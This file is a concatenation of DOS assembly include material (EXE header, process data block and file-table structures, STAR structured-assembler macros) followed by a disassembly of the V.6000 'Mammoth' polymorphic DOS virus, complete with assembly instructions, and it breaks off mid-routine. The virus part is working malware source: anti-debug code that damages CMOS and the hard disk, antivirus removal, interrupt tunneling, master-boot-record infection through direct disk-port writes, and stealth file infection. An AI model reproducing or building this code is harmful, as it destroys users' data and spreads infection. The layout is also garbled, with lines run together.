;; Exit codes in upper byte;Exit_terminate EQU 0Exit_abort EQU 0Exit_Ctrl_C EQU 1Exit_Hard_Error EQU 2Exit_Keep_process EQU 3

;; EXE file header;

EXE_file STRUCexe_signature DW ? ; must contain 4D5A (yay zibo!)exe_len_mod_512 DW ? ; low 9 bits of lengthexe_pages DW ? ; number of 512b pages in fileexe_rle_count DW ? ; count of reloc entriesexe_par_dir DW ? ; number of paragraphs before imageexe_min_BSS DW ? ; minimum number of para of BSSexe_max_BSS DW ? ; max number of para of BSSexe_SS DW ? ; stack of imageexe_SP DW ? ; SP of imageexe_chksum DW ? ; checksum of file (ignored)exe_IP DW ? ; IP of entryexe_CS DW ? ; CS of entryexe_rle_table DW ? ; byte offset of reloc tableexe_iov DW ? ; overlay number (0 for root)exe_sym_tab DD ? ; offset of symbol table in fileEXE_file ENDS

exe_valid_signature EQU 5A4Dhexe_valid_old_signature EQU 4D5Ah

symbol_entry STRUCsym_value DD ?sym_type DW ?sym_len DB ?sym_name DB 255 dup (?)symbol_entry ENDS

; SCCSID = @(#)find.asm 1.1 85/04/10; SCCSID = @(#)find.asm 1.1 85/04/10;Break <find first/next buffer>

find_buf STRUC;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;; C A V E A T P R O G R A M M E R ;; ;find_buf_drive DB ? ; drive of searchfind_buf_name DB 11 DUP (?) ; formatted namefind_buf_sattr DB ? ; attribute of searchfind_buf_LastEnt DW ? ; LastEntfind_buf_DirStart DW ? ; DirStartfind_buf_NetID DB 4 DUP (?) ; Reserved for NET

; ;; C A V E A T P R O G R A M M E R ;;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;

find_buf_attr DB ? ; attribute foundfind_buf_time DW ? ; timefind_buf_date DW ? ; datefind_buf_size_l DW ? ; low(size)find_buf_size_h DW ? ; high(size)find_buf_pname DB 13 DUP (?) ; packed namefind_buf ENDS

; SCCSID = @(#)pdb.asm 1.1 85/04/10;BREAK <Process data block>

;; Process data block (otherwise known as program he ader);

FilPerProc EQU 20

Process_data_block STRUCPDB_Exit_Call DW ? ; INT int_abort system terminatePDB_block_len DW ? ; size of execution block

DB ?PDB_CPM_Call DB 5 DUP (?) ; ancient call to systemPDB_Exit DD ? ; pointer to exit routinePDB_Ctrl_C DD ? ; pointer to ^C routinePDB_Fatal_abort DD ? ; pointer to fatal error;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;; C A V E A T P R O G R A M M E R ;; ;PDB_Parent_PID DW ? ; PID of parent (terminate PID)PDB_JFN_Table DB FilPerProc DUP (?)

; indices into system table; ;; C A V E A T P R O G R A M M E R ;;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;PDB_environ DW ? ; seg addr of environment;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;; C A V E A T P R O G R A M M E R ;; ;PDB_User_stack DD ? ; stack of self during system callsPDB_JFN_Length DW ? ; number of handles allowedPDB_JFN_Pointer DD ? ; pointer to JFN tablePDB_Next_PDB DD ? ; pointer to nested PDB'sPDB_PAD1 DB 14h DUP (?); ;; C A V E A T P R O G R A M M E R ;;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;PDB_Call_system DB 5 DUP (?) ; portable method of system call;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;; C A V E A T P R O G R A M M E R ;; ;PDB_PAD2 DB 7h DUP (?); ;; C A V E A T P R O G R A M M E R ;;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;Process_data_block ENDS

; SCCSID = @(#)sf.asm 1.1 85/04/10;BREAK <Internal system file table format>

;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;; C A V E A T P R O G R A M M E R ;; ;;; system file table;

SF STRUCSFLink DD ?SFCount DW ? ; number of entriesSFTable DW ? ; beginning of array of the followingSF ENDS

;; system file table entry;

sf_entry STRUCsf_ref_count DW ? ; number of processes sharing entry

; if FCB then ref countsf_mode DW ? ; mode of access or high bit on if FCBsf_attr DB ? ; attribute of filesf_flags DW ? ;Bits 8-15

; Bit 15 = 1 if remote file; = 0 if local file or device; Bit 14 = 1 if date/time is not to be; set from clock at CLOSE. Set by; FILETIMES and FCB_CLOSE. Reset by; other reseters of the dirty bit; (WRITE); Bit 13 = Pipe bit (reserved);; Bits 0-7 (old FCB_devid bits); If remote file or local file, bit; 6=0 if dirty Device ID number, bits; 0-5 if local file.; bit 7=0 for local file, bit 7; =1 for local I/O device; If local I/O device, bit 6=0 if EOF; Bit 5=1 if Raw mode; Bit 0=1 if console input device; Bit 1=1 if console output device; Bit 2=1 if null device; Bit 3=1 if clock device

sf_devptr DD ? ; Points to DPB if local file, points; to device header if local device,; points to net device header if; remote

sf_firclus DW ? ; First cluster of file (bit 15 = 0)sf_time DW ? ; Time associated with filesf_date DW ? ; Date associated with filesf_size DD ? ; Size associated with filesf_position DD ? ; R/W pointer or LRU count for FCBs;; Starting here, the next 7 bytes may be used by th e file system to store an; ID;sf_cluspos DW ? ; Position of last cluster accessedsf_lstclus DW ? ; Last cluster accessedsf_dirsec DW ? ; Sector number for this filesf_dirpos DB ? ; Offset of this entry in the above;; End of 7 bytes of file-system specific info.

;sf_name DB 11 DUP (?) ; 11 character name that is in the

; directory entry. This is used by; close to detect file deleted and; disk changed errors.

; SHARING INFOsf_chain DD ? ; link to next SFsf_UID DW ?sf_PID DW ?sf_MFT DW ?sf_entry ENDS

sf_netid EQU BYTE PTR sf_cluspossf_OpenAge EQU WORDPTR sf_position +2sf_LRU EQU WORDPTR sf_position

sf_default_number EQU 5h

;; Note that we need to mark an SFT as being busy fo r OPEN/CREATE. This is; because an INT 24 may prevent us from 'freeing' i t. We mark this as such; by placing a -1 in the ref_count field.;

sf_busy EQU - 1

; mode mask for FCB detectionsf_isfcb EQU 1000000000000000B

; Flag word maskssf_isnet EQU 1000000000000000Bsf_close_nodate EQU 0100000000000000Bsf_pipe EQU 0010000000000000Bsf_no_inherit EQU 0001000000000000Bsf_net_spool EQU 0000100000000000B

; Local file/device flag masksdevid_file_clean EQU 40h ; true if file and not writtendevid_file_mask_drive EQU 3Fh ; mask for drive number

devid_device EQU 80h ; true if a devicedevid_device_EOF EQU 40h ; true if end of file reacheddevid_device_raw EQU 20h ; true if in raw modedevid_device_special EQU 10h ; true if special devicedevid_device_clock EQU 08h ; true if clock devicedevid_device_null EQU 04h ; true if null devicedevid_device_con_out EQU 02h ; true if console outputdevid_device_con_in EQU 01h ; true if consle input; ;; C A V E A T P R O G R A M M E R ;;----+----+----+----+----+----+----+----+----+----+ ----+----+----+----+----;

;; structure of devid field as returned by IOCTL is:;; BIT 7 6 5 4 3 2 1 0; |---|---|---|---|---|---|---|---|; | I | E | R | S | I | I | I | I |; | S | O | A | P | S | S | S | S |; | D | F | W | E | C | N | C | C |; | E | | | C | L | U | O | I |; | V | | | L | K | L | T | N |; |---|---|---|---|---|---|---|---|

; ISDEV = 1 if this channel is a device; = 0 if this channel is a disk file;; If ISDEV = 1;; EOF = 0 if End Of File on input; RAW = 1 if this device is in Raw mode; = 0 if this device is cooked; ISCLK = 1 if this device is the clock device; ISNUL = 1 if this device is the null device; ISCOT = 1 if this device is the conso le output; ISCIN = 1 if this device is the conso le input;; If ISDEV = 0; EOF = 0 if channel has been written; Bits 0-5 are the block device nu mber for; the channel (0 = A, 1 = B, ...);devid_ISDEV EQU 80hdevid_EOF EQU 40hdevid_RAW EQU 20hdevid_SPECIAL EQU 10Hdevid_ISCLK EQU 08hdevid_ISNUL EQU 04hdevid_ISCOT EQU 02hdevid_ISCIN EQU 01h

devid_block_dev EQU 1Fh ; mask for block device number

;************************************************** *************************s_y MACROoprt , cntr , dsiz

&oprt &cntr &dsiz MACROREPT cntr

&oprt &&dsizENDM

ENDMENDM;************************************************** *************************s_z MACROoprt , cntr , cmmd

oprt &cntr MACROREPT cntr shr 1

&cmmd&wENDMIF cntr and 1

&cmmd&bENDIF

ENDMENDM;************************************************** *************************IRPC cntr , 12345

IRP dsiz , < B, W, D>IRP oprt , < stos , scas , lods , movs, cmps, ins , outs >

s_y oprt , cntr , dsizENDM

ENDMs_z movs, cntr , movss_z add_di , cntr , scass_z add_si , cntr , lodss_z add_sdi , cntr , cmps

ENDM;************************************************** *************************PURGEs_y , s_z;************************************************** *************************

STO_BYTE MACROvalue :REQmov al , valuestosb

ENDM;************************************************** *************************STO_WORD_ MACROvalue

mov ax , valuestosw

ENDM;************************************************** *************************STO_WORD MACROvalue

IF value NE 0mov ax , value

ELSEsub ax , ax

ENDIFstosw

ENDM;************************************************** *************************STO_TWO_BYTE MACROvalue1 :REQ, value2 :REQ; STO_WORD (value2 shl 8) or value1

IF ( value2 shl 8) or value1mov ax , ( value2 shl 8) or value1

ELSEsub ax , ax

ENDIFstosw

ENDM;************************************************** *************************MOVSEGmacro to_seg , from_seg

push from_segpop to_seg

endm;************************************************** *************************MASKA MACROregis1 :REQ, mask2:REQ ;MASKA al, 001xx110

;and al, 00?11??0;or al, 00100110

local x, tmp_maskx=1tmp_mask = 0IRPC sb , mask2

tmp_mask = tmp_mask * 2+sbENDMand regis1 , tmp_mask

x=0tmp_mask = 0IRPC sb , mask2

tmp_mask = tmp_mask * 2+sbENDMIF tmp_mask NE 0

or regis1 , tmp_maskENDIF

ENDM;************************************************** *************************MIN MACRO frst , scndlocal nomov

cmp frst , scndjb nomovmov frst , scnd

nomov:ENDM;************************************************** *************************

MAX MACRO frst , scndlocal nomov

cmp frst , scndja nomovmov frst , scnd

nomov:ENDM;************************************************** *************************crproc MACROprocname , proc_crcpublic procnameprocname procextrn cryproc :near

call cryprocdw ?dw proc_crc

ENDM;************************************************** *************************pbproc MACROprocnamepublic procnameprocname procENDM;************************************************** *************************pblabel MACROlblnamepublic lblnamelblname :ENDM;************************************************** *************************

;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»;º The STructured AssembleR language macros º;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ; (C) Dmitry Timchenko 1989-1991

; Version 1.4; Turbo Assembler Version. LONG specifier is UNNECE SSARY

ifndef ??version.err **** Turbo Assembler required. For MASM use STAR13.INC ****

endif

if ??version lt 0200h.err **** Turbo Assembler 2.0 or higher required. Use STAR13T.INC ****

endif

JUMPS ;It makes all dirty work of SHORT/LONG; recognizing ( see STAR13.INC )

;Ú***** Auxiliary (implementation) macros *****¿

; Current level counters settings

S@ MACRO PN, PL, PVPN&@&PL = PN&@&PL&PVT@&PN = PN&@&PL

ENDM

S@TMACRO PLT@B = B@&PLT@E= E@&PLT@X= X@&PL

ENDM

; Label (MARK) settings

M@ MACRO PM, PL, PNPM&PL&PN = $

ENDM

; Forward jump vector generation; PC conditon code ( Z/NZ/C/NC... ); PM label header; PL nesting level; PN counter for this level; INV 0/1 - inverse condition

J@F MACRO PC, PM, PL, PN, INV

V@ = PM&PL&PN ;Label to jump to

IFB <PC> ;Command: "JMP"

IF INV EQ 0 ;INV=0 --> Need commandjmp V@ENDIF ;else --> Needn't command

ELSE ;Command: "J<PC>"

IF INV EQ 0 ;YesJump - straight condition_YJ&PC V@ELSE_NJ&PC V@ ;NoJmp - reverse conditionENDIF

ENDIF ;(Command)ENDM

; Reverse jump vector generationJ@R MACRO PC, PM, PL, PNV@ = PM&PL&PN

IFB <PC>;; Command: JMPjmp V@ELSE;; Command: J<PC>_YJ&PC V@ENDIF;; (Command)ENDM

; ELSE mode settingsEL@I MACRO PL, VAL

IFNB <VAL>L@I&PL = VAL

ENDIFTL@ = L@I&PL

ENDM

; An auxiliary macro; for counters initializationI@NIT MACRO PLB@&PL = 0

E@&PL = 0X@&PL = 0L@I&PL = 0

ENDM

; Variables initial settings macro.

INITS MACRO ;;**********

L@ = 10REPT 10

L@ = L@- 1I@NIT %L@ENDM

_YJO EQU JO_YJNO EQU JNO_YJB EQU JB

_YJNAE EQU _YJB_YJC EQU _YJB

_YJAE EQU JAE_YJNB EQU _YJAE_YJNC EQU _YJAE

_YJE EQU JE_YJZ EQU _YJE

_YJNE EQU JNE_YJNZ EQU _YJNE

_YJBE EQU JBE_YJNA EQU _YJBE

_YJA EQU JA_YJNBE EQU _YJA

_YJS EQU JS_YJNS EQU JNS_YJP EQU JP

_YJPE EQU _YJP_YJNP EQU JNP

_YJPO EQU _YJNP_YJL EQU JL

_YJNGE EQU _YJL_YJGE EQU JGE

_YJNL EQU _YJGE_YJLE EQU JLE

_YJNG EQU _YJLE_YJG EQU JG

_YJNLE EQU _YJG

_YJCXZ EQU JCXZ_YJLU EQU LOOP_YJLUNE EQU LOOPNE

_YJLUNZ EQU _YJLUNE_YJLUE EQU LOOPE

_YJLUZ EQU _YJLUNE

_NJO EQU JNO_NJNO EQU JO_NJB EQU JNB

_NJNAE EQU _NJB_NJC EQU _NJB

_NJAE EQU JNAE_NJNB EQU _NJAE_NJNC EQU _NJAE

_NJE EQU JNE

_NJZ EQU _NJE_NJNE EQU JE

_NJNZ EQU _NJNE_NJBE EQU JNBE

_NJNA EQU _NJBE_NJA EQU JNA

_NJNBE EQU _NJA_NJS EQU JNS_NJNS EQU JS_NJP EQU JNP

_NJPE EQU _NJP_NJNP EQU JP

_NJPO EQU _NJNP_NJL EQU JNL

_NJNGE EQU _NJL_NJGE EQU JNGE

_NJNL EQU _NJGE_NJLE EQU JNLE

_NJNG EQU _NJLE_NJG EQU JNG

_NJNLE EQU _NJG

; There are no mirror commands for LOOPxx & JCXZ,; so we're forced to use MACROS in these cases

S@KIP MACRO opcod , targetlocal Skip_Labelopcod Skip_Labeljmp target

Skip_Label label nearENDM

_NJCXZ MACRO targetS@KIP JCXZ, targetENDM

_NJLU MACRO targetS@KIP LOOP, targetENDM

_NJLUNE MACRO targetS@KIP LOOPNE, targetENDM

_NJLUNZ MACRO targetS@KIP LOOPNZ, targetENDM

_NJLUE MACRO targetS@KIP LOOPE, targetENDM

_NJLUZ MACRO targetS@KIP LOOPZ, targetENDM

ENDM ;;**********

;À*********************************************Ù

;Ú***** Language macros *****¿

; Pass next block till the end or DOELSE

PASS MACRO CNDS@T %L@+1J@F CND, E@,%L@+1,%T@E, 0S@T %L@EL@I %L@, 0ENDM

; Enter next block immediatelyGOIN MACRO CND

S@ B,%L@+1,+ 1J@F CND, B@,%L@+1,%T@B,0S@ B,%L@+1,- 1ENDM

; Go to the begin of current blockREPEAT MACRO CND

J@R CND, B@,%L@,%T@B,0ENDM

; Go to the end of current block; (skip all DOELSE's)EXIT MACRO CND

J@F CND, X@,%L@,%T@X, 0ENDM

; Go to the next DOELSE if present; or to the end of current blockNEXT MACRO CND

J@F CND, E@,%L@,%T@E, 0ENDM

; The begin of a block without; test of conditionDO MACROL@ = L@+1

S@ B,%L@,+ 1M@ B@,%L@,%T@BS@T %L@EL@I %L@, 0ENDM

; The end of a block without loopDONE MACRO

M@ X@,%L@,%T@XM@ E@,%L@,%T@ES@ X,%L@,+ 1S@ E,%L@,+ 1

L@ = L@- 1S@T %L@EL@I %L@, 0ENDM

; The end of a loop-blockCYCLE MACRO CND

REPEAT CNDDONEENDM

; The begin of a block with; condition testDOIF MACRO CNDL@ = L@+1

S@T %L@

J@F CND, E@,%L@,%T@E, 1S@ B,%L@,+ 1M@ B@,%L@,%T@BEL@I %L@, 0ENDM

; The alternative block part begin operatorDOELSE MACRO

EXIT , LNGS@T %L@M@ E@,%L@,%T@ES@ E,%L@,+ 1EL@I %L@, 1ENDM

; The enclosed IF (DOIF-{DOELSE-ELSIF...}-DONE)ELSIF MACRO CND

EL@I %L@IF TL@ NE 1

.err ***** STAR error: ELSIF without DOELSE or with PASS *****ELSEJ@F CND, E@,%L@,%T@E, 1S@ B,%L@+1,+ 1M@ B@,%L@+1,%T@BS@T %L@ENDIFEL@I %L@, 0ENDM

;À*********************************************Ù

INITS ;Variables initialization

;; Disassembled by Tcp / 29A;; Virus: V.6000 (aka NoKernel aka Mammoth.60 00); Author: ?; Country: Russia (?); Comments: Polymorphic, multipartite, tunnelin g, damage,; full-stealth, HD-ports,... ; The most interesting feature is tha t it can ; stay resident after a cold reboot a nd loading ; from a clean DOS floppy disk!!!!!!! !; WARNING: This is a very dangerous virus!!;; To assembly:; tasm /m v6000.asm; tlink v6000; exe2bin v6000 v6000.com ;-------------------------------------------------- -----------

.286v6000 segment byte public ''

assume cs : v6000 , es : v6000 , ss : v6000 , ds : v6000org 0

start :r_index db 0B9h ; mov cx,length_virus+[0..1Fh]num_bytes dw offset ( length_virus )r_source db 0BFh ; mov di,offset(code_enc)+100hst_code_enc dw offset ( code_enc )+ 100h_loop_dec :prefix_op dw 802Eh ; xor byte ptr cs: r_op db 35h ; [di],l_mask db 0 ; l_maski_inc :

inc did_loop :

loop _loop_decclc

code_enc :delta equ word ptr $+1

mov bp, offset ( start )+ 100hmov cx , offset ( end_virdata )- bufferxor al , almov di , offset ( buffer )add di , bppush cspop escldrep stosb ; Clear data areaclipush cspop ssmov sp , offset ( vstack )add sp , bpmov [ bp+delta_offset ], bpmov [ bp+seg_psp ], dsmov dx ,word ptr [ bp+jmp_antidebug ]mov bx ,( offset ( kill_cmos_hd )- ofs_antidebug - 2)mov [ bp+jmp_antidebug ], 0E9h ; jmpmov [ bp+ofs_antidebug ], bx

jmp_antidebug equ byte ptr $ofs_antidebug equ word ptr $+1 ; jmp kill_cmos_hd

; Kill CMOS & HD if debugging (or Pentium!)jmp no_debug

db 9no_debug :

mov word ptr [ bp+jmp_antidebug ], dx ; Restore jmpmov ax , 0B0Bhint 21h ; Resident checkcmp ax , 0EFEFh ; Already resident?je restore_host ; Yes? then jmpmov ah, 30hint 21h ; DOS - GET DOS VERSION

; Return: AL = major version number; (00h for DOS 1.x); AH = minor version number

cmp al , 0Ah ; >DOS 10.xx? (why???)ja restore_host ; Yes? then jmpcmp al , 3 ; >=DOS 3.00?jae try_to_infect_hd ; Yes? then jmp

restore_host :cmp byte ptr [ bp+host_type ], 3 ; EXE?je restore_exe ; Yes? then jmppush cs ; It is a COM filepop dspush cspop esmov si , offset ( header )add si , bpmov di , 100hmov bx , dimovsw ; Restore original bytes (3 bytes)movsbclimov sp , 0FFFEh ; Set default stackjmp bx ; jmp 100h (exec host)

restore_exe :mov es ,[ bp+seg_psp ] ; ES:=PSPmov dx ,[ bp+exeip ]mov bx ,[ bp+relocs ]mov cx , esadd bx , cx ; Relocate host CSadd bx , 10hmov [ bp+ep_ip ], dxmov [ bp+ep_cs ], bxmov ax ,[ bp+reloss ]add ax , cx ; Relocate host SSadd ax , 10h ; Add PSPpush espop dspush axxor ax , axpush axpopf ; Clear flags pop axclimov ss , ax ; Set stackmov sp , cs :[ bp+relosp ]stijmp dword ptr cs :[ bp+ep_ip ] ; Exec host

try_to_infect_hd :call check4idecmp al , 66h ; IDE HD?jne start_tunneling ; No? then jmp (don't use ports)mov ax , 160Ah

int 2Fh ; - Multiplex - MS WINDOWS - or ax , ax ; Windows running?jz start_tunneling ; Yes? then jmp

get_vi13 :mov al , 13hcall get_int_vector ; Get int 13hmov [ bp+ofs_i13 ], bx ; Store itmov [ bp+seg_i13 ], esmov [ bp+use_ports ], 1 ; Can use portsjmp kill_vsafe

start_tunneling :xor ax , axmov ds , ax ; DS:=0climov ds :[ 1h* 4+2], cs ; Set new int 1mov dx , offset ( int_1 )add dx , bpmov ds :[ 1h* 4], dxstimov [ bp+seg_stop ], 70h ; Set stop segment (DOS segment)mov ah, 0FFhpushfpushfcall trace_oncall dword ptr ds :[ 13h* 4] ; Trace Int 13hcall trace_offcmp [ bp+seg_i13 ], 0 ; Tunneling successful?jnz kill_vsafe ; Yes? then jmpjmp get_vi13

kill_vsafe :mov dx , 5945hmov ax , 0FA01hint 21h ; Uninstall VSafecall install_virusjmp restore_host

install_virus :mov al , 10h ; Diskette drive typescall read_cmosmov [ bp+floppy_types ], ahxor ax , axmov ds , axmov ax , ds :[ 410h ] ; Installed hardwaremov [ bp+inst_hard ], axmov al , 2Eh ; 1st byte of CMOS checksumcall read_cmosmov ch , ahmov al , 2Fh ; 2nd byte of CMOS checksumcall read_cmosmov cl , ahpush cxcall calculate_CMOS_checksum_1pop cxcmp cx , dx ; Using this method for checksum?jne try_method_ps2 ; No? then jmpmov [ bp+chksum_method ], 0jmp infect_HD

try_method_ps2 :mov al , 32h ; 1st byte of CMOS checksum (PS/2)call read_cmosmov ch , ah

mov al , 33h ; 2nd byte of CMOS checksum (PS/2)call read_cmosmov cl , ahpush cxcall calculate_CMOS_checksum_2pop cxcmp cx , dx ; Using this method for checksum?jne unknown_method ; No? then jmpmov [ bp+chksum_method ], 1jmp infect_HD

unknown_method :mov [ bp+chksum_method ], 2

infect_HD :xor ah, ahmov dl , 80hcall int13hbp ; Reset HD controllermov ah, 8call int13hbp ; Get drive parametersinc ch ; inc max.cylindermov dl , 80hsub cl , 14 ; Get 14 sectorsmov ax , 030Ch ; 12 sectors to write (its code)push cspop esmov bx , bpcall int13hbp ; Write to HDjnc read_mbr ; Ok? then jmpjmp _ret ; Stupid jmp!!

read_mbr :mov ax , 0201hmov bx , offset ( s_mbr )add bx , bpmov dx , 80hmov cx , 1int 13h ; Read MBRjnc check_mbr ; Ok? then jmpjmp _ret ; Stupid jmp!!

check_mbr :mov di , bxpush cspop dsmov si , offset ( mbr_code )add si , bpmov cx ,( tmbr_code - mbr_code )cldrep cmpsb ; Infected?jne infect_mbr ; No? then jmpjmp _ret ; Stupid jmp!!

infect_mbr :call get_randommov [ bp+mask_orig_mbr ], ahmov si , bxmov cx , 512push cx

encrypt_orig_mbr :xor [ si ], ahinc siloop encrypt_orig_mbrpush ax

mov ah, 8call int13hbp ; Get drive parametersinc ch ; Inc cylinderdec cl ; Dec sectormov dl , 80hmov ax , 301h ; 1 sector to writecall int13hbp ; Write encripted MBRmov si , bxpop axpop cx

decrypt_orig_mbr :xor [ si ], ah ; Decrypt MBRinc siloop decrypt_orig_mbrcall get_randommov si , offset ( st_mbr_enc )add si , bpmov cx , end_mbr_code - st_mbr_encpush sipush cxpush ax

encrypt_mbr :mov cs :[ bp+mask_mbr ], ah ; Encrypt new MBR codexor [ si ], ahinc siloop encrypt_mbrmov si , offset ( mbr_code )add si , bpmov di , bxmov cx , end_mbr_code - mbr_coderep movsbcmp [ bp+use_ports ], 1 ; Can use ports?je write_using_ports ; Yes? then jmpmov ax , 301h ; 1 sector to writemov cx , 1xor dh, dhcall int13hbp ; Write new mbrjmp mbr_wrote

wait_while_busy :mov dx , 1F7h

HD_busy:in al , dx ; AT hard disk

; status register bits:; 0: 1=prev cmd error; 2: Corrected data; 3: Data Request. Buffer is busy; 4: Seek completed; 5: Write fault; 6: Drive ready (unless bit 4=0); 7: Busy

test al , 80h ; Busy?jnz HD_busy ; Yes? Repeat while busyret

wait_while_busy_seek :mov dx , 1F7h

in_seek :in al , dx ; AT hard disk

; status register bits:; 0: 1=prev cmd error; 2: Corrected data; 3: Data Request. Buffer is busy

; 4: Seek completed; 5: Write fault; 6: Drive ready (unless bit 4=0); 7: Busy

test al , 80h ; HD busy?jnz in_seek ; Yes? Repeat while busytest al , 8 ; Seek completed?jz in_seek ; No? Repeat until seek completedret

write_using_ports :mov si , bxcldmov dx , 3F6hmov al , 4out dx , al ; Enable FDC disk resetcall waste_timemov al , 0out dx , alcall wait_while_busymov dx , 1F6hmov al , 10100000b

; ^^^^^head 0; |___drive 0

out dx , al ; AT hard disk controller: Drive & Head.call waste_timemov dx , 1F7hmov al , 10hout dx , al ; AT hard disk command register:

; 1?H = Restore to cylinder 0; 7?H = Seek to cylinder; 2?H = Read sector; 3xH = Write sector; 50H = Format track; 4xH = verify read; 90H = diagnose; 91H = set parameters for drive; Recalibrate drive

call wait_while_busymov dx , 1F1hin al , dx ; AT hard disk controller

; Error register. Bits for last error:; 0: Data Address Mark not found; 1: Track 0 Error; 2: Command aborted; 4: Sector ID not found; 6: ECC Error: Uncorrectable data error; 7: Bad block

and al , 01101000bjnz write_using_ports ; Error? try againcall wait_while_busymov dx , 1F2hmov al , 1 ; One sectorout dx , al ; AT hard disk controller: Sector count.call waste_timemov dx , 1F3hmov al , 1 ; Start in sector 1out dx , al ; AT hard disk controller: Sector number.call waste_timemov dx , 1F4hmov al , 0out dx , al ; AT hard disk controller:

; Cylinder high (bits 0-1 are bits 8-9

; of 10-bit cylinder number)call waste_timemov dx , 1F5hmov al , 0 ; Cylinder 0out dx , al ; AT hard disk controller:

; Cylinder low (bits 0-7 of 10-bit ; cylinder number)

call waste_timemov dx , 1F6hmov al , 10100000b ; Drive 0, Head 0out dx , al ; AT hard disk controller: Drive & Head.call waste_timemov dx , 1F7hmov al , 31h ; Write sector without retryout dx , al ; AT hard disk

; command register:; 1?H = Restore to cylinder 0; 7?H = Seek to cylinder; 2?H = Read sector; 3xH = Write sector; 50H = Format track; 4xH = verify read; 90H = diagnose; 91H = set parameters for drive

call wait_while_busy_seekmov cx , 512 / 2 ; Number of words to write (1 sector)mov dx , 1F0h ; Data registerrep outsw ; Write sectorcall wait_while_busy

mbr_wrote :pop axpop cxpop si

dec_mbrcode :xor cs :[ si ], ahinc siloop dec_mbrcodemov ah, 8mov dl , 80hcall int13hbp ; Get drive parametersmov dl , 80hinc ch ; inc cylindersub cl , 2 ; dec sector*2mov word ptr cs :[ bx ], 0 ; Reset boot countermov ax , 0301h ; 1 sector to writecall int13hbp ; Write to HD

_ret :ret

int_1 : ; Tunneler codepush bxpush espush sipush bppush dsmov bp, splds si ,[ bp+0Ah] ; Get next inst.address from stackmov bp, csmov bx , dscmp bx , bp ; Is from virus code?je end_int1 ; Yes? then jmpmov bp, sp

delta_offset equ word ptr $+1mov bx , 0B3Ah ; mov bx,delta_offsetcmp byte ptr [ si ], 9Ch ; Next inst. is a pushf?jne check_popf ; No? then jmpinc word ptr [ bp+0Ah] ; Skip the pushfmov cs :[ bx +emul_pushf ], 1

check_popf :cmp byte ptr [ si ], 9Dh ; Next inst. is a popf?jne no_popf ; No? then jmpor word ptr [ bp+10h ], 100h ; Put flag trace in stack

no_popf :mov bp, dscmp cs :[ bx +tunnel_ok ], 1 ; Found int?je end_int1 ; Yes? then jmpcmp bp, cs :[ bx +seg_stop ] ; Above stop segment?ja end_int1 ; Yes? then jmpmov cs :[ bx +ofs_i13 ], si ; Store as the new intmov cs :[ bx +seg_i13 ], dsmov cs :[ bx +tunnel_ok ], 1 ; Found int

end_int1 :pop dspop bppop sipop escmp cs :[ bx +emul_pushf ], 1 ; Was found a pushf?je no_restore_flags ; Yes? then jmppop bxiret

no_restore_flags :mov word ptr cs :[ bx +emul_pushf ], 0pop bxretf

waste_time :jmp $+2jmp $+2ret

trace_on :pushfpop bxor bh, 1 ; Set trace flag onpush bxpopfret

trace_off :pushfpop bxand bh, 0FEh ; Set trace flag offpush bxpopfret

check4ide :push dsmov dl , 80h ; 1st HDpush dxmov ah, 15hint 13h ; DISK - GET TYPE

; DL = drive ID; Return: CF set on error ; AH = disk type; Get type of 1st HD

pop dxcmp ah, 1 ; Type 1? Diskette???je no_ide ; Yes? then jmpxor ax , axmov ds , ax ; DS:=0les si , ds :[ 41h* 4] ; Get hd0 parameters pointermov ax , es :[ si ] ; Maximun number of cylinderspush axpush dxmov ah, 8int 13h ; Get current drive parameters mov ax , cxrol al , 1rol al , 1and al , 3 ; Get high order 2 bits of cylinder countxchg al , ah ; Cylinder count in AXand dh, 0C0h ; Get high order 2 bits of head count

; Large Model(?)mov cl , 4shl dh, clor ah, dh ; Total cylinder count in AXadd ax , 2 ; Add 2 cylinderspop dxmov bx , axpop axcmp bx , ax ; Same cylinder number?xor al , al ; BUG!!!! This instruction sets the Z-flagjne no_ide ; Then this jump is never usedmov al , 66h

no_ide :pop dsret

fffnfcb :call int21h ; FF/FNor al , al ; More files?jnz no_files_fcb ; No? then jmppushfcall push_registersmov ah, 2Fhcall int21h ; Get DTApush espop dspush bxpop dxcmp byte ptr es :[ bx ], 0FFh ; Extended FCB?jnz no_ext_fcb ; No? then jmpadd dx , 7

no_ext_fcb :call make_fnamecall exe_or_com?or bp, bp ; EXE or COM?jz error_open_fcb ; No? then jmpmov ax , 3D00hcall int21h ; Open filejc error_open_fcbmov bx , ax ; bx:=handlemov ax , 5700hcall int21h ; Get file timercr dh, 1cmp dh, 64h ; Infected?jb no_inf_fcb ; No? then jmppush bx

mov ah, 2Fhcall int21h ; Get DTAcmp byte ptr es :[ bx ], 0FFh ; Extended FCB?jne no_ext_fcb2 ; No? then jmpadd bx , 7

no_ext_fcb2 :sub word ptr es :[ bx +1Dh], offset ( length_virus )mov ax , es :[ bx +19h ] ; Get file datercr ah, 1pushfsub ah, 100 ; Set original datepopfrcl ah, 1mov es :[ bx +19h ], axpop bx

no_inf_fcb :mov ah, 3Ehcall int21h ; Close file

error_open_fcb :call pop_registerspopf

no_files_fcb :retf 2

rename_FCB:push dspush dxcall make_fnamejmp rename

rename_handle :push dspush dx

rename :push espush sipush dipush cxpush bppush axpush espush dicall exe_or_com?pop dipop esor bp, bp ; Renaming from Exe or Com?jz jmp_end_i21 ; No? then jmppush dspush dxpush espop dsmov dx , dicall exe_or_com?pop dxpop dsor bp, bp ; Renaming to Exe or Com?jnz now_is_exec ; Yes? then jmpcall disinfect_file ; else disinfectjmp jmp_end_i21

now_is_exec :call try_to_infect_file

jmp_end_i21 :

pop axpop bppop cxpop dipop sipop espop dxpop dsjmp exit_i21

disinfect :push dxcmp ah, 6Ch ; Extended create/open?jne exec? ; No? then jmptest dl , 1 ; Action=open file?jz not_open ; No? then jmpmov dx , si

